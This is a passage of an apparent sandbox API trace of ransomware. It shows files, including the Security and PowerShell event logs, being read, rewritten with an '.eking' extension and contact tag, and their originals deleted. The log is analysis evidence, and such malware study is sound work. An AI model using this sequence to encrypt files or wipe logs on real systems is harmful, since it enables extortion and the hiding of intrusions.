| out: lpNewFilePointer=0x0) returned 1 [0229.384] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\security.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0229.385] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x110100, lpOverlapped=0x0) returned 1 [0229.423] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x110100, lpOverlapped=0x0) returned 1 [0229.784] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xf00, lpOverlapped=0x0) returned 1 [0229.784] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf10, lpOverlapped=0x0) returned 1 [0229.784] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0229.784] CloseHandle (hObject=0x358) returned 1 [0229.785] CloseHandle (hObject=0x368) returned 1 [0230.089] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0230.091] SetEvent (hEvent=0x2b8) returned 1 [0230.092] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0230.092] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0230.092] CloseHandle (hObject=0x368) returned 1 [0230.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0230.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0230.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\windows powershell.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.093] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0230.093] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0230.093] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0230.093] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\windows powershell.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0230.095] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0230.157] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0230.159] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x102, lpOverlapped=0x0) returned 1 [0230.160] CloseHandle (hObject=0x368) returned 1 [0230.160] CloseHandle (hObject=0x374) returned 1 [0230.163] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0230.165] SetEvent (hEvent=0x2b8) returned 1 [0230.165] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0230.168] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80384) returned 1 [0230.168] CloseHandle (hObject=0x374) returned 1 [0230.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe")) returned 0x20 [0230.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe")) returned 0x20 [0230.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\3dftp.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\3dftp.exe" (normalized: "c:\\program files\\common files\\3dftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.169] SetEvent (hEvent=0x2b8) returned 1 [0230.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0230.171] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=15984) returned 1 [0230.171] CloseHandle (hObject=0x374) returned 1 [0230.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0230.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0230.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0230.178] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0230.178] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0230.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0230.185] ReadFile (in: hFile=0x374, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x3e70, lpOverlapped=0x0) returned 1 [0230.188] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3e80, lpOverlapped=0x0) returned 1 [0230.189] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0230.190] CloseHandle (hObject=0x374) returned 1 [0230.190] CloseHandle (hObject=0x368) returned 1 [0230.192] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0 [0230.193] SetEvent (hEvent=0x2b8) returned 1 [0230.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0230.195] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80384) returned 1 [0230.195] CloseHandle (hObject=0x368) returned 1 [0230.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe")) returned 0x20 [0230.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe")) returned 0x20 [0230.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\icq.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\icq.exe" (normalized: "c:\\program files\\common files\\icq.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.196] SetEvent (hEvent=0x2b8) returned 1 [0230.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0230.196] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=18624) returned 1 [0230.196] CloseHandle (hObject=0x368) returned 1 [0230.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0230.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0230.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.352] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=18624) returned 1 [0230.352] CloseHandle (hObject=0x348) returned 1 [0230.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0230.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0230.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.353] SetEvent (hEvent=0x2b8) returned 1 [0230.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.354] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=21184) returned 1 [0230.354] CloseHandle (hObject=0x348) returned 1 [0230.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0230.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0230.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.355] SetEvent (hEvent=0x2b8) returned 1 [0230.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.356] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19136) returned 1 [0230.356] CloseHandle (hObject=0x348) returned 1 [0230.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0230.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0230.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.356] SetEvent (hEvent=0x2b8) returned 1 [0230.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.363] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19136) returned 1 [0230.363] CloseHandle (hObject=0x348) returned 1 [0230.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0230.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0230.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.363] SetEvent (hEvent=0x2b8) returned 1 [0230.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.365] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=18624) returned 1 [0230.365] CloseHandle (hObject=0x348) returned 1 [0230.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0230.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0230.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.366] SetEvent (hEvent=0x2b8) returned 1 [0230.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.366] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=11616) returned 1 [0230.366] CloseHandle (hObject=0x348) returned 1 [0230.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0230.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0230.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.367] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19648) returned 1 [0230.368] CloseHandle (hObject=0x348) returned 1 [0230.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0230.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0230.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 